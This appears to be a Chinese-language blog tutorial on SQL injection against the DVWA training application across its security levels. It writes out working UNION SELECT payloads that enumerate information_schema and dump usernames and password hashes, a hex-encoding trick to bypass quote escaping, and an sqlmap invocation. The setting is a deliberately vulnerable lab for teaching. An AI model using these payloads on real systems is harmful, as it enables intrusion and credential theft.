簡單的SQL注入

啥是SQL注入?

 

 

 我們要理清我們要進行的思路  大致分7步

 

 

 在DVWA中級別有四種  low  midium   high   impossible

我們先設置成low 

我們在裏面看一下源碼設置

 

 

 通過源碼我們發現它對參數沒有任何的過濾  直接帶入數據庫進行查詢  我們猜測肯恩給存在字符型sql注入

 

 

 判斷sql是否存在注入,以及注入的類型

 

 

 接下來我們猜測sql查詢語句中的字段數   1‘  order  by  1#     (逐漸增加後面的1的大小進行猜測)

 

 

 當輸入3#時就出現了錯誤,說明只有兩列的數據   查詢的表的字段數是2

 

 

 我們來看一下回顯

 

 

 接下來查詢當前的數據庫,以及版本     1' union select version(),database()#

接下來我們獲取數據庫的表   1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#   

 

 

 

 

 接下來我們獲取表中的字段名     1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#   

 

 

 下面我們獲得字段中的數據         1' union select user,password from users#

 

 我們看到的就是密碼  來!讓我們都破解了

 

 

 

 

 

 

 

 接下來我們將級別設置爲medium  發現user  id  已經限制了

 

 看一下源代碼  發現增加了一溜規則

 

 這個時候我們不能在這裏進行sql注入了,我們可以在別的地方,嘻嘻

我們瀏覽器啓用代理

 

 打開我們的抓包工具

 

 我們抓到包了,我們發的是1  我們在最下面給他改一下

 

 稍微改動,他回顯給我們的就不再是1了

 

還是相同的步驟我們猜測字段個數

 

 

 

 看一下3

 

 

 

 接下來確定回顯位置

 

 

 

 獲得數據庫名稱以及版本(注意和low不太一樣,後面不能有‘)

 

 

 

 獲得數據庫中所有表        

 

 

 

 下面獲取表中的所有字段名,考慮到單引號被轉移,可以利用16進制繞過

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

 

 

 

 

 最後獲取字段中的數據 

 

 

 

 

接下來我們將DVWA的級別設置成high    發現當你點中SQL injection界面時會出現一共點擊   點擊完我們會跳到另外一共界面

 

 我們看一下高級的源碼   發現裏面沒加啥特殊的控制,唯一就是跳了個網頁

 

 我們來獲得密碼

 

 

 最後我們將級別設置成impossible    看一下它的源碼    發現裏面加了很多東西,我們暫時莫得辦法了

當然我們可以把抓到的包,儲存下來

 

 在sqlmap裏面進行執行    aqlmap.py  -r  C:\11.txt  --level 3

 

 數據庫中的這三個表我們要記住因爲經常要用到

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章